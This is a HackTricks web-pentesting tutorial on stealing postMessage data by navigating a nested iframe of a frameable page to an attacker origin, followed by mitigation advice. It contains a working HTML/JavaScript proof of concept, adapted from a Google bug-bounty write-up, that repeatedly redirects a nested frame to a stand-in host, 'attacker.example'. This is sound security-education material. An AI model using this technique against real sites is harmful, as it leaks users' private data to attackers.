// HackTricks · Web Pentesting

Stealing postMessage Data by Navigating an Iframe

Stealing postMessage Data by Navigating an Iframe

Suppose an attacker can frame a page that is not protected by X-Frame-Options or CSP frame-ancestors, and that page contains a nested iframe. Cross-origin scripts cannot read the nested document, but browser cross-origin interfaces expose limited Window and Location access: window.frames can be read and a referenced window’s location can be written.[1]

This behavior can become a data-exposure primitive when the nested document receives sensitive data through postMessage(..., "*"). If the attacker navigates the intended receiving frame to an attacker-controlled origin before the message is sent, the wildcard targetOrigin allows the replacement document to receive the message. Both MDN and OWASP recommend specifying the exact expected origin rather than * whenever possible.[2][3]

The same underlying race can involve a child, parent, or opener window when the attacker retains a window reference and the browser permits that particular cross-origin navigation. The critical conditions are control of the navigation timing and a sender that uses a wildcard or otherwise incorrect targetOrigin.[1][2]

The following proof-of-concept structure is adapted from a Google VRP write-up. Frame indexes and navigation permissions vary with the document tree and browser behavior, so inspect the actual hierarchy rather than copying the indexes blindly.[4]

<!doctype html>
<html lang="en">
  <body>
    <iframe src="https://docs.google.com/document/ID"></iframe>
    <script>
      setTimeout(() => {
        // Retry because the nested frame may be created asynchronously.
        setInterval(() => {
          window.frames[0].frames[0].frames[2].location =
            "https://attacker.example/exploit.html"
        }, 100)
      }, 6000)
    </script>
  </body>
</html>

Mitigation

  • Send sensitive messages only with an exact targetOrigin.
  • On receipt, validate both event.origin and, where appropriate, event.source.
  • Prevent unauthorized framing with CSP frame-ancestors (and X-Frame-Options for legacy compatibility).

References